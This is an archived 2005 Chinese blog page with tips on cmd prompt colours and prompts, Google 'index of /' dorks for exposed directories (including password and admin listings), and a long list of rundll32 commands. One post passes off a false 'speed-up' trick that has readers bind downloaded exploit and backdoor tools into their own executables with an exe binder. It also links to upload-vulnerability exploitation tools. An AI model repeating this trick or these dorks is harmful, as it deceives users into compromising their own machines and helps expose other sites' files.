“color”是Windows 2000及以上版本中特有的命令,主要功能就是用来改变命令行窗口的颜色。颜色属性由两个十六进制数字指定——第一个为背景,第二个则为前景。每个数字可以为以下任何值之一:
0=黑色 8=灰色
1=蓝色 9=淡蓝色
2=绿色 A=淡绿色
3=湖蓝色 B=淡浅绿色
4=红色 C=淡红色
5=紫色 D=淡紫色
6=黄色 E=淡黄色
7=白色 F=亮白色
例如,“Color A9”是在绿色背景下产生亮蓝色。
提示:如果想恢复到初始状态,只需不带任何参数的运行一次color命令即可,这将会还原到启动时的颜色(黑底白字)。
三、颠覆你的提示符
如果你想使自己爱机的提示符像笔者的一样有个性(如图2),那么就得使用“prompt”命令了。格式如下:
prompt [括号内输入要替换的提示符]
特殊的符号不能直接输入,而必须用到指定代码:
$A & (短 and 符号)
$B | (管道)
$C ( (左括弧)
$D 当前日期
$E Escape code (ASCII 码 27)
$F ) (右括弧)
$G > (大于符号)
$H Backspace (擦除前一个字符)
$L < (小于符号)
$N 当前驱动器
$P 当前驱动器及路径
$Q = (等号)
$S (空格)
$T 当前时间
$V Windows XP 版本号
$_ 换行
$ $ (货币符号)
四、一劳永逸,让命令符酷起来
结合上述方法,装扮出来的命令提示符界面当然“眩目夺人”。但是每次想要SHOW的时候,都要重新输入麻烦命令才行,有没有一个一劳永逸的办法呢?没有办不到的,只有想不到的,方法如下:
“开始”-“运行”-“Regedit”,回车进入注册表编辑器,依次展开HKEY_LOCAL_MACHINESOFTWAREMicrosoftCommand Processor分支。在右侧窗口中新建一名为“AutoRun”的字符串值,将其数值设为“prompt <$t $p$Q$$D$V$L$B$g>”,“<$t $p$Q$$D$V$L$B$g>”表示你想用的参数形式。例如我们想把命令行提示符变为:“(当前时间)俺叫你输啥就输啥>”的形式,就输入“prompt $t 俺叫你输啥就输啥$g”。设置完毕后退出注册表即生效。
附:command和cmd的区别:Windows 2000/XP提供了cmd.exe和command.com,cmd.exe是Windows NT命令行接口,它不是一个DOS窗口,而command.com是一个16位的DOS应用程序,它用于支持老的DOS应用程序。就用户来说,这两个命令有惊人的相似之处,这是因为用户在command.com中输入的命令有很大一部分要送到cmd.exe中运行。如果用户运行command.com,用户会在任务管理器中看到一个cmd.exe也在运行。
posted @ 2005-07-08 12:31 一天一点爱恋 阅读(130) | 评论 (0)编辑 收藏
 
搜索Google大家都用过吧?我们正是利用它强劲的搜索功能来突破封锁下载,Google搜索和限制下载有什么关系,没可能实现吧?不要不相信哦,往下看哦!

http://www.google.com/intl/zh-CN/
http://www.3721.com/
http://www.baidu.com/

首先打开Google,在关键词输入框中输入"index of/"inurl:lib(双引号为英文状态下),选择“搜索简体中文网页”选项,回车搜索,得到了一些网页,不要以为这是一些普通的页面,其实它们是一些图书网站的资源列表,点击打开它来看看,怎么样?是不是所有资源一收眼底了?

使用其他关键字可能得到更多的资源:

在搜索框上输入:"index of /"cnki

再按搜索你就可以找到许多图书馆的CNKI、VIP、超星等入口!

在搜索框上输入:"index of /" ppt

再按搜索你就可以突破网站入口下载powerpint作品!

在搜索框上输入:"index of /"mp3

再按搜索你就可以突破网站入口下载mp3、rm等影视作品!

在搜索框上输入:"index of /"swf

再按搜索你就可以突破网站入口下载flash作品!

在搜索框上输入:"index of /"加上要下载的软件名

再按搜索你就可以突破网站入口下载软件!

在搜索框上输入:"index of /"AVI

再按搜索你就可以突破网站入口下载AVI视频

你会找到什么呢?同理,把AVI换为MPEG看看又会找到什么呢?呵呵!接下来不用我再教了吧?那就试一下你的手气吧!

"index of /" RMVB
"index of /" WMA
"index of /" MTV
"index of /" MPEG
以下是百度搜索排名
1. index of mpeg4
3. index of mp3
4. index of cnki
5. index of rmvb
6. index of rm
7. index of movie
8. index of swf
9. index of jpg
10. index of admin
12. index of pdf
13. index of doc
14. index of wmv
15. index of mdb
16. index of mpg
17. index of mtv
18. index of software
19. index of mov
20. index of asf
23. index of lib
24. index of vod
25. index of rar
27. index of exe
28. index of iso
29. index of video
30. index of book
31. index of soft
32. index of chm
33. index of password
34. index of game
35. index of music
36. index of dvd
37. index of mid
38. index of ebook
40. index of download

到这里,大家也许都明白了,其实就是"index of /"这个关键词在起的作用,使用它可以直接进入网站首页下的所有文件和文件夹中,不必在通过HTTP的网页形式了,从而避免了那些网站的限制,作到了突破限制下载。

怎么回事?点鼠标右键直接用网际快车下不了,都是网页,链接地址是乱码。别灰心懈气,可以在新窗口中打开页面中的超链接,真实地址不就出来了。下面就用马克思ie(mxie)这个超级P2P共享资源搜索引擎帮你搞定收费网站。
马克思ie简体中文网址:http://cn.mxie.com/down.html
http://cn.mxie.com/mxie0400Setup_cn.exe

马克思ie(mxie)
软件大小:3307KB
软件语言:简体中文
软件类别:国产软件/免费版/搜寻引擎
运行环境:Win9x/Me/NT/2000/XP
马克思ie(mxie)是一个拥有网页浏览器功能的超级P2P搜索引擎,完全免费!各种音乐、电影、动漫、小说、图片等娱乐文件,一切你想得到的都可以找到!采用目前最为先进的多点P2P技术,搜寻到的就能下载到,绝对无死链!神奇的“越多人下载越高速”特性,充分挖掘你的带宽潜力,保证高速!独家装备了强力防火墙穿透利器,即使在严密防护的企业防火墙后也能通行自如。
完全免费,永远免费!
完全免费!永远免费!马克思ie(mxie)就是要把免费进行到底!奉行网络上的马克思主义,打造影音娱乐共产帝国!

编者自述:此方法采用独特技巧,集成了网络加速及穿透防火墙的P2P共享技术,能够无限提升你的网速!----高手自然一点就透,对于菜鸟本人也不想浪费唇舌多作解释,以下跟着洒家向前冲:

先下一个exe文件合成器“绿色分割{X} V3.1”:
http://www.pcdog.com/soft/20205.htm
http://www1.pcdog.com/down/Split3.1.rar

解压到指定文件夹。再下一个加速软件“speed4web”:
Speed4WEB 可以帮忙你把浏览器的速度提升到原来的300%!程序使用简单,提交小巧!功能强大!
Speed4WEB V2.2.3.2 汉化版:
http://www.yqdown.com/soft/675.htm
http://km.yqdown.com:8989/UUAuth/wl...ed4WEB_v2.H.rar
http://www2.pcdog.com/down4/HB_Speed4WEBV2.2.3.2.exe
http://www.pcdog.com/down2/HB_Speed4WEBV2.2.3.2.exe

解压安装后点击桌面图标打开,在所有选项前均打勾(除了“总在顶部”),最小化令其运行。
点桌面图标右键,点属性,点查找目标,找出其真实应用文件“Speed4WEB.exe”,将它复制到指定文件夹。

选择你最想加速的文件***:点桌面图标右键,点属性,点查找目标,找出其真实应用文件“***.exe”,复制到指定文件夹。

双击打开绿色分割,点“合并”,点“合并任意文件”,点+号依次选择“***.exe、Speed4WEB.exe”,点“设置”,点“正常、分割完成后生成合并exe文件”,点“保存文件”选择***文件原路径,重命名为“***.exe”,点开始即可替换原“***.exe”。

注意:合并过程中***软件不可使用,否则无法成功替换原***文件!也不可以关闭Speed4WEB!

再下一个共享资源搜索利器“马克思ieV.0.4.0.0 最新版--
马克思ie简体中文网址:http://cn.mxie.com/down.html
http://cn.mxie.com/mxie0400Setup_cn.exe

解压双击安装后,以“马克思ie(mxie)”为例,下载后重命名为“马克思ie(mxie).exe”即可直接双击安装,点桌面上刚刚生成的”马克思ie(mxie)”图标右键,点属性,点查找目标,找出其真实应用文件“mxie.exe”,复制到指定文件夹。下面按步就搬即可。

以上方法经本人测试,适合于各式各样五花八门的下载工具、游戏、浏览器以及其它一切与网络相关的软件。----这种合成的软件同时运行的越多,网速愈快!

每个人上网的方式与宽带限制都不一样,有时候是电信局封了BT端口或用了扫描仪限制下载流量,请恕本人也无能为力了!用过马克思ie的朋友仍然嫌慢的话,请打上下面的补丁

最新上传漏洞通用工具 V1.0
http://soft.sq88.com/soft/537.htm
http://download.sq88.com/hk/upld.rar

动网下载中心上传漏洞利用工具
http://soft.sq88.com/soft/419.htm
http://download.sq88.com/hk/dvup.rar

任意下载其中一个后门程序,解压后即可见其中的两个ActiveX控件“MSINET.OCX、MSWINSCK.OCX”,然后再用绿色分割合并即可。

好了,废话少说。觉得有用请顶一下,并帮我多多转贴,别小心眼偷懒呀!
当网上有半数人熟悉此法时,估计收费网站也要破产了!
posted @ 2005-07-08 12:26 一天一点爱恋 阅读(221) | 评论 (1)编辑 收藏
 
winexec(Pchar('StrCommand'),sw_Show);
其中"StrCommand"代表以下命令之一(使用Windows中的运行不要加引号):
"rundll32 shell32,Control_RunDLL" - 运行控制面板
"rundll32 shell32,OpenAs_RunDLL" - 打开"打开方式"窗口
"rundll32 shell32,ShellAboutA Info-Box" - 打开"关于"窗口
"rundll32 shell32,Control_RunDLL desk.cpl" - 打开"显示属性"窗口
"rundll32 user,cascadechildwindows" - 层叠全部窗口
"rundll32 user,tilechildwindows" - 最小化所有的子窗口
"rundll32 user,repaintscreen" - 刷新桌面
"rundll32 shell,shellexecute Explorer" - 重新运行Windows Explorer
"rundll32 keyboard,disable" - 锁写键盘
"rundll32 mouse,disable" - 让鼠标失效
"rundll32 user,swapmousebutton" - 交换鼠标按钮
"rundll32 user,setcursorpos" - 设置鼠标位置为(0,0)
"rundll32 user,wnetconnectdialog" - 打开"映射网络驱动器"窗口
"rundll32 user,wnetdisconnectdialog" - 打开"断开网络驱动器"窗口
"rundll32 user,disableoemlayer" - 显示BSOD窗口, (BSOD) = Blue Screen Of Death, 即蓝屏
"rundll32 diskcopy,DiskCopyRunDll" - 打开磁盘复制窗口
"rundll32 rnaui.dll,RnaWizard" - 运行"Internet连接向导", 如果加上参数"/1"则为silent模式
"rundll32 shell32,SHFormatDrive" - 打开"格式化磁盘(A)"窗口
"rundll32 shell32,SHExitWindowsEx -1" - 冷启动Windows Explorer
"rundll32 shell32,SHExitWindowsEx 1" - 关机
"rundll32 shell32,SHExitWindowsEx 0" - 退当前用户
"rundll32 shell32,SHExitWindowsEx 2" Windows9x 快速重启
"rundll32 krnl386.exe,exitkernel" - 强行退出Windows 9x(无确认)
"rundll rnaui.dll,RnaDial "MyConnect" - 运行"网络连接"对话框
"rundll32 msprint2.dll,RUNDLL_PrintTestPage" - 选择打印机和打印测试页
"rundll32 user,setcaretblinktime" - 设置光标闪烁速度
"rundll32 user, setdoubleclicktime" - 测试鼠标双击速度
"rundll32 sysdm.cpl,InstallDevice_Rundll" - 搜索非PnP设备
 控制面板中的各项功能

 winexec('rundll32.exe shell32.dll, Control_RunDLL', 9);
 {辅助选项 属性-键盘}
 winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 1', 9);
 {辅助选项 属性-声音}
 winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 2', 9);
 {辅助选项 属性-显示}
 winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 3', 9);
 {辅助选项 属性-鼠标}
 winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 4', 9);
 {辅助选项 属性-常规}
 winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 5', 9);
 {添加/删除程序 属性-安装/卸载}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Appwiz.cpl, 1', 9);
 {添加/删除程序 属性-Windows安装程序}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Appwiz.cpl, 2', 9);
 {添加/删除程序 属性-启动盘}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Appwiz.cpl, 3', 9);
 {显示 属性-背景}
 winexec('rundll32.exe shell32.dll, Control_RunDLL desk.cpl, 0', 9); 
 {显示 属性-屏幕保护程序}
 winexec('rundll32.exe shell32.dll, Control_RunDLL desk.cpl, 1', 9);
 {显示 属性-外观}
 winexec('rundll32.exe shell32.dll, Control_RunDLL desk.cpl, 2', 9);
 {显示 属性-设置}
 winexec('rundll32.exe shell32.dll, Control_RunDLL desk.cpl, 3', 9);
 {Internet 属性-常规}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 0', 9);
 {Internet 属性-安全}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 1', 9);
 {Internet 属性-内容}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 2', 9);
 {Internet 属性-连接}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 3', 9);
 {Internet 属性-程序}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 4', 9);
 {Internet 属性-高级}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 5', 9);
 {区域设置 属性-区域设置}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 0', 9);
 {区域设置 属性-数字}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 1', 9);
 {区域设置 属性-货币}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 2', 9);
 {区域设置 属性-时间}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 3', 9);
 {区域设置 属性-日期}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 4', 9);
 
 winexec('rundll32.exe shell32.dll, Control_RunDLL Joy.cpl, 0', 9);
 
 winexec('rundll32.exe shell32.dll, Control_RunDLL Joy.cpl, 1', 9);
 {鼠标 属性}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Main.cpl', 9);
 {多媒体 属性-音频}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 0', 9);
 {多媒体 属性-视频}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 1', 9);
 {多媒体 属性-MIDI}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 2', 9);
 {多媒体 属性-CD音乐}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 3', 9);
 {多媒体 属性-设备}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 4', 9);
 {调制解调器 属性}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Modem.cpl', 9);
 
 winexec('rundll32.exe shell32.dll, Control_RunDLL Netcpl.cpl', 9);
 {密码 属性}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Password.cpl', 9);
 {扫描仪与数字相机 属性}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Sticpl.cpl', 9);
 {系统 属性-常规}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Sysdm.cpl, 0', 9);
 {系统 属性-设备管理器}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Sysdm.cpl, 1', 9);
 {系统 属性-硬件配置文件}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Sysdm.cpl, 2', 9);
 {系统 属性-性能}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Sysdm.cpl, 3', 9);
 {日期/时间 属性}
 winexec('rundll32.exe shell32.dll, Control_RunDLL timedate.cpl', 9);
 {电源管理 属性}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Powercfg.cpl', 9);
 
 winexec('rundll32.exe shell32.dll, Control_RunDLL Telephon.cpl', 9);
关于调用后的判断处理建议:
先声明一个cardinal类型的变量RtnCardinal获取返回值进行判断如:
RtnCardinal := winexec('rundll32.exe shell32.dll, Control_RunDLL Telephon.cpl', 9);
 返回值 可能原因
 0 程序超出内存 
ERROR_BAD_FORMAT 程序为一个非法的Win32.EXE程序
ERROR_FILE_NOT_FOUND 指定文件没找到 
ERROR_PATH_NOT_FOUND 指定路径没找到

使用方法:
点击“开始-程式-Ms-Dos方式”,进入Dos视窗,然後键入"rundll32.exe user.exe,restartwindows",再按下回车键,这时你将看到,机器被重启了!怎么样,是不是很有趣?
  当然,Rundll的功能绝不仅仅是重启你的机器。其实,Rundll者,顾名思义,执行Dll也,它的功能就是以命令列的方式呼叫Windows的动态链结库,Rundll32.exe与Rundll.exe的区别就在於前者是呼叫32位的链结库,而後者是运用於16位的链结库,它们的命令格式是:
  RUNDLL.EXE ,,
  这里要注意三点:1.Dll档案名中不能含有空格,比如该档案位於c:/Program Files/目录,你要把这个路径改成c:/Progra~1/;2.Dll档案名与Dll入口点间的逗号不能少,否则程式将出错并且不会给出任何资讯!3.这是最重要的一点:Rundll不能用来呼叫含返回值参数的Dll,例如Win32API中的GetUserName(),GetTextFace()等。在Visual Basic中,提供了一条执行外部程式的指令Shell,格式为:
  Shell “命令列”
  如果能配合Rundll32.exe用好Shell指令,会使您的VB程式拥有用其他方法难以甚至无法实现的效果:仍以重启为例,传统的方法需要你在VB工程中先建立一个模组,然後写入WinAPI的声明,最後才能在程式中呼叫。而现在只需一句:
  Shell “rundll32.exe user.exe,restartwindows”就搞定了!是不是方便多了?
  实际上,Rundll32.exe在呼叫各种Windows控制面板和系统选项方面有著独特的优势。下面,我就将本人在因特网上收集的有关Rundll的指令列举如下(很有用的,能省去你很多呼叫Windows API的时间!!),供大家在程式设计中引用:
  命令列: rundll32.exe shell32.dll,Control_RunDLL
  功能: 显示控制面板
  命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,1
  功能: 显示“控制面板-辅助选项-键盘”选项视窗
  命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,2
  功能: 显示“控制面板-辅助选项-声音”选项视窗
  命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,3
  功能: 显示“控制面板-辅助选项-显示”选项视窗
  命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,4
  功能: 显示“控制面板-辅助选项-滑鼠”选项视窗
  命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,5
  功能: 显示“控制面板-辅助选项-传统”选项视窗
  命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1
  功能: 执行“控制面板-添加新硬体”向导。
  命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL AddPrinter
  功能: 执行“控制面板-添加新印表机”向导。
  命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1
  功能: 显示 “控制面板-添加/删除程式-安装/卸载” 面板。
  命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,2
  功能: 显示 “控制面板-添加/删除程式-安装Windows” 面板。
  命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,3
  功能: 显示 “控制面板-添加/删除程式-启动盘” 面板。
  命令列: rundll32.exe syncui.dll,Briefcase_Create
  功能: 在桌面上建立一个新的“我的公文包”。
  命令列: rundll32.exe diskcopy.dll,DiskCopyRunDll
  功能: 显示复制软碟视窗
  命令列: rundll32.exe apwiz.cpl,NewLinkHere %1
  功能: 显示“建立快捷方式”的对话框,所建立的快捷方式的位置由%1参数决定。
  命令列: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0
  功能: 显示“日期与时间”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,1
  功能: 显示“时区”选项视窗。
  命令列: rundll32.exe rnaui.dll,RnaDial [某个拨号连接的名称]
  功能: 显示某个拨号连接的拨号视窗。如果已经拨号连接,则显示目前的连接状态的视窗。
  命令列: rundll32.exe rnaui.dll,RnaWizard
  功能: 显示“新建拨号连接”向导的视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0
  功能: 显示“显示属性-背景”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,1
  功能: 显示“显示属性-萤屏保护”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,2
  功能: 显示“显示属性-外观”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,3
  功能: 显示显示“显示属性-属性”选项视窗。
  命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL FontsFolder
  功能: 显示Windows的“字体”档案夹。
  命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @3
  功能: 同样是显示Windows的“字体”档案夹。
  命令列: rundll32.exe shell32.dll,SHformatDrive
  功能: 显示格式化软碟对话框。
  命令列: rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,0
  功能: 显示“控制面板-游戏控制器-一般”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,1
  功能: 显示“控制面板-游戏控制器-进阶”选项视窗。
  命令列: rundll32.exe mshtml.dll,PrintHTML (HTML文档)
  功能: 列印HTML文档。
  命令列: rundll32.exe shell32.dll,Control_RunDLL mlcfg32.cpl
  功能: 显示Microsoft Exchange一般选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @0
  功能: 显示“控制面板-滑鼠” 选项 。
  命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1
  功能: 显示 “控制面板-键盘属性-速度”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1,,1
  功能: 显示 “控制面板-键盘属性-语言”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @2
  功能: 显示Windows“印表机”档案夹。
  命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @3
  功能: 显示Windows“字体”档案夹。
  命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @4
  功能: 显示“控制面板-输入法属性-输入法”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL modem.cpl,,add
  功能: 执行“添加新调制解调器”向导。
  命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0
  功能: 显示“控制面板-多媒体属性-音频”属性页。
  命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,1
  功能: 显示“控制面板-多媒体属性-视频”属性页。
  命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,2
  功能: 显示“控制面板-多媒体属性-MIDI”属性页。
  命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,3
  功能: 显示“控制面板-多媒体属性-CD音乐”属性页。
  命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,4
  功能: 显示“控制面板-多媒体属性-设备”属性页。
  命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl @1
  功能: 显示“控制面板-声音”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL netcpl.cpl
  功能: 显示“控制面板-网路”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL odbccp32.cpl
  功能: 显示ODBC32资料管理选项视窗。
  命令列: rundll32.exe shell32.dll,OpenAs_RunDLL
功能: 显示指定档案(drive:/path/filename)的“打开方式”对话框。
  命令列: rundll32.exe shell32.dll,Control_RunDLL password.cpl
  功能: 显示“控制面板-密码”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL powercfg.cpl
  功能: 显示“控制面板-电源管理属性”选项视窗。
  命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL PrintersFolder
  功能: 显示Windows“印表机”档案夹。(同rundll32.exe shell32.dll,Control_RunDLL main.cpl @2)
  命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,0
  功能: 显示“控制面板-区域设置属性-区域设置”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,1
  功能: 显示“控制面板-区域设置属性-数字”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,2
  功能: 显示“控制面板-区域设置属性-货币”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,3
  功能: 显示“控制面板-区域设置属性-时间”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,4
  功能: 显示“控制面板-区域设置属性-日期”选项视窗。
  命令列: rundll32.exe desk.cpl,InstallScreenSaver [萤屏保护档案名]
  功能: 将指定的萤屏保护档案设置为Windows的屏保,并显示萤屏保护属性视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,0
  功能: 显示“控制面板-系统属性-传统”属性视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,1
  功能: 显示“控制面板-系统属性-设备管理器”属性视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,2
  功能: 显示“控制面板-系统属性-硬体配置档案”属性视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,3
  功能: 显示“控制面板-系统属性-性能”属性视窗。
  命令列: rundll32.exe user.exe,restartwindows
  功能: 强行关闭所有程式并重启机器。
  命令列: rundll32.exe user.exe,exitwindows
  功能: 强行关闭所有程式并关机。
  命令列: rundll32.exe shell32.dll,Control_RunDLL telephon.cpl
  功能: 显示“拨号属性”选项视窗
  命令列: rundll32.exe shell32.dll,Control_RunDLL themes.cpl
  功能: 显示“桌面主旨”选项面板
  当然,不止是VisualBasic,象Delphi.VisualC++等其他程式设计语言也可以通过呼叫外部命令的方法来使用Rundll的这些功能,具体方法这里就不再详细叙述了。灵活的使用Rundll,一定会使你的程式设计轻轻松松,达到事半功倍的效果!

巧用Rundll32安装和卸载Windows程序
  在Windows系统中安装和卸载程序是件非常容易的事情,一般用户通过安装和卸载程序向导就能很轻松地完成。但安装和卸载Windows程序还有些鲜为人知的小技巧,使用Rundll32命令安装和卸载Windows程序就是其中之一,可能你从来还没接触过,下面我们就一起领略它的神奇功能吧!

  提示:Rundll32.exe是 Windows系统提供的一个命令,
它用来调用32位的DLL函数(16位的DLL文件用Rundll.exe来调用。DLL文件是Windows的基础,所有的API函数都是在DLL中实现的,它不能独立运行,一般由进程加载并调用,运行DLL文件最简单的方法是利用Rundll32.exe,它的命令格式是“Rundll32.exe 动态链接库名 函数名 参数名”。

  1.卸载微软Java虚拟机

  在Windows系统中,要想IE浏览器执行包含Java小程序的网页,必须安装微软Java虚拟机(MSJVM),Windows 98/2000已经捆绑了MSJVM,Windows XP/2003中虽然已经剥离了微软Java虚拟机,但还是可以手工安装。不过,有个现实我们不得不面对:由于微软和SUN公司的明争暗斗,微软已经停止对MSJVM的开发,因此很多用户改用SUN公司提供的Java虚拟机。但微软没有提供MSJVM的卸载工具,使用Rundll32命令,我们可以轻松卸载MSJVM。

  单击“开始→运行”命令,在“运行”对话框中输入“RunDll32 advpack.dll,LaunchINFSection java.inf,UnInstall”,回车后系统会打开“Microsoft VM uninstall”对话框,单击“是(Y)”按钮后,系统就会开始卸载微软Java虚拟机,卸载完成后需要重新启动系统。

  接下来删除“%systemroot%”(即Windows的安装目录,Windows 2000系统为 Winnt目录,Windows XP/2003为Windows目录)下的Java文件夹;“%systemroot%\inf”下的java.pnf文件,以及“%systemroot%\system32”下的jview.exe文件和wjview.exe文件。最后打开注册表编辑器,依次展开[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\JavaVM]分支和[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\AdvancedOptions\JAVA_VM]分支,删除这两个分支下的所有子键。

  提示:以上方法不适用Windows 98系统。

  2.重新安装Windows XP自带的IE6.0

  Windows系统的IE浏览器漏洞很多,最容易出现问题。有时无法解决,就只能重新安装了。使用Rundll32命令可以很轻松地完成重新安装工作。我们以重新安装Windows XP中的IE6.0为例:

  首先将Windows XP光盘插入光驱,然后单击“开始→运行”命令,在“运行”对话框中输入“Rundll32 setupapi,InstallHinfSection DefaultInstall 132 C:\windows\inf\ie.inf”命令,回车后系统会打开安装进程对话框,开始重新安装IE6.0。

  提示:如果你的Windows XP系统不是安装在C盘,请将 “C\Windows\Inf\Ie.inf” 修改为“%systemroot%\inf\ie.inf”。

  3.卸载Windows Messenger

  卸载Windows Messenger的方法很多,最常用的就是修改“Sysoc.inf”文件,但此方法比较复杂,使用Rundll32命令能很轻松完成卸载:

  首先要确保已经关闭了Outlook和IE等Windows自带的组件,然后单击“开始→运行”,在“运行”对话框中输入“RunDll32 advpack.dll,LaunchINFSection %windir%\inf\msmsgs.inf,BLC.Remove”命令,回车后系统会打开一个卸载对话框,单击“是(Y)”按钮后,系统就开始卸载Windows Messenger 程序。

  以上只是简单介绍如何使用Rundll32命令卸载和安装Windows程序的几个实例,还有很多Windows程序的安装和卸载可以使用此方法,就不再详细介绍了,请大家慢慢体会。

转载(http://blog.china-pub.com/more.asp?name=anstan&id=11612)
posted @ 2005-07-08 12:21 一天一点爱恋 阅读(106) | 评论 (0)编辑 收藏
 
Copyright © 一天一点爱恋 Powered by: 博客园 模板提供:沪江博客